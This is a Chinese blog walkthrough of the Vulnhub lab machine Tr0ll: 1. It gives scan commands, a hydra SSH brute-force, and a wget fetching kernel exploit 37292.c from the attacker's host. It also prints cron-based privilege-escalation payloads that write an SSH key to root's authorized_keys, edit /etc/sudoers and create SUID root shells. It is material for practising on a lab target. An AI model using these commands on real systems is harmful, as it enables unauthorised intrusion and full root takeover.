Vulnhub-靶机-Tr0ll: 1

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现

地址:https://www.vulnhub.com/entry/tr0ll-1,100/

发现目标靶机IP地址是192.168.5.142,开始使用nmap对其进行扫描

通过-p-参数直接全端口扫描,发现扫描不出来,具体如下

nmap -p- -sC -sV -n 192.168.5.142

根据扫描的结果,发现开放的ftp端口是可以匿名登陆,并且有一个数据包文件lol.pcap ,于是直接使用匿名登陆下载该文件到本地,然后使用wireshark进行分析查看

发现有个文件,根据这个数据包查看文件的内容,如下:

如下内容:

Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P\n
    \n
    Sucks, you were so close... gotta TRY HARDER!\n
sup3rs3cr3tdirlol

根据这个文件去尝试了ssh登陆,web访问,最终得出可以直接通过web访问,确认此文件名是个web目录

直接访问 http://192.168.5.142/sup3rs3cr3tdirlol/

使用wget将文件roflmao下载到本机然后使用file命令确认文件类型

确认是个可执行文件,那么使用strings命令查看是否存隐藏内容

 

访问发现两个目录

分别对这两个目录进行访问,得到good_luck这个目录下面可能是用户名,另一个文件夹的名称可能就是密码

那么就使用九头蛇hydra进行暴力破解看看

hydra -L which_one_lol.txt -p Pass.txt 192.168.5.142 ssh

破解出来之后等一会,这个靶机每过一会会连接不上22端口,然后多次尝试连接ssh,登陆成功

查看目标靶机的Linux版本,去Google上搜索了下,是存在本地提权漏洞

将37292.c提权文件下载到目标靶机

wget http://192.168.5.130:6688/37292.c

gcc 37292.c -o bmfx

将其编译完成之后,确认其存在可执行权限直接进行提权

成功获取proof.txt

===========================================================================================================================================================================================================

因为有一个现象就是没2分钟左右的时间会断开一次,那么看看计划任务发现一个全局可以编辑的文件,这个文件就是提权的突破口,通过cat /var/log/cronlog 查看计划任务执行的文件名,然后全局搜索这个文件名即可,具体看如下提权操作:

find / -type d -writable 2> /dev/null | grep -v /proc

find / -executable -type f 2> /dev/null | egrep -v "^/bin|^/var|^/etc|^/usr" | xargs ls -lh | grep Aug 具体看如

另一种提权方式直接写公钥到目标靶机的root家目录下进行提权,本次靶机能操作是因为有一个文件是使用root权限执行而且全局用户都可以编辑操作,本次编辑写入文件的时候,大家最好在本地编辑好,然后使用vi编辑器打开直接粘贴进去,使用wq!强制保存即可

下面是已经写入的文件

下面就是建立公钥和私钥的最终脚本,待计划任务执行之后,就是等2分钟就可以直接连接目标靶机root账户了

#!/usr/bin/env python
import os
import sys
try:
        os.system('mkdir /root/.ssh; chmod 775 .ssh; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDfjdrW5okibmnT9c3hsAoSZPJ0XcCN92f998ZkCcWehEHXTmpkGJE7qedYSbr78pQITNnIXpVEJXlKYaTQUf68JUKCiBWwLQes3SfHN6SoRe4hiC4LtgtXiUmRIYYY//PXEdgbH7dFvX67fA8p/6Mz/R6ITS4OvHDQCLNwV8wmu46pS4xEq9/Rsp3nc6OjHVWAvnwnBmNTjUWEGuKH5Vvqw5yM0/PV5SeeyaB0R5jm4M7YL1/h8RRVvInt5M20/FaR5wWL4pEeGXsqKPjZUtdCfgPkZwF/4Oi6aOYSKGVmQrnbsetG5F2//IuUTBEkgQp4HevL1hNw3iAH+PNh/iHlVhafeYw9rZ/G9G97vGCsTy7UVYRk55nJQuHTRhZOkt8jAqfBgjLwP/Gn6wXIGWFmSLaKO//jJuSYYVXGIu9vjTGSLEUQtSQKrf+vL94jtGDRYArDnqFvJopj3HJK39B8O2PhVhQ0bh+YbQNWPoHsc5O7UH/6LcREUnppzSKf2yE= kali@kali" >> /root/.ssh/authorized_keys')
except:
        sys.exit()

 

 其他另类提权手法代码

#!/usr/bin/env python
import os
import sys
try:
        os.system('echo "overflow ALL=(ALL:ALL) ALL" >> /etc/sudoers')
except:
        sys.exit()

----------------------------------------------------------------------------

#!/usr/bin/env python
import os
import sys
try:
        os.system('chown root:root /tmp/getroot; chmod 4755 /tmp/getroot')
except:
        sys.exit()

下面是先新建这个文件,然后编译为getroot文件,上面就可以使用了
vim getroot.c

int main(void) {
    setgid(0); setuid(0);
    system("/bin/bash");
}

-----------------------------------------------------------------------------

#!/usr/bin/env python
import os
import sys
try:
        os.system('cp /bin/bash /tmp/bash')
        os.system('chmod 4777 /tmp/bash')
except:
        sys.exit()

这里执行bash -p即可提权,如果是写成/bin/sh那么直接执行就可获取root权限

 

 

posted @ 2020-08-24 16:08  皇帽讲绿帽带法技巧  阅读(463)  评论(0编辑  收藏  举报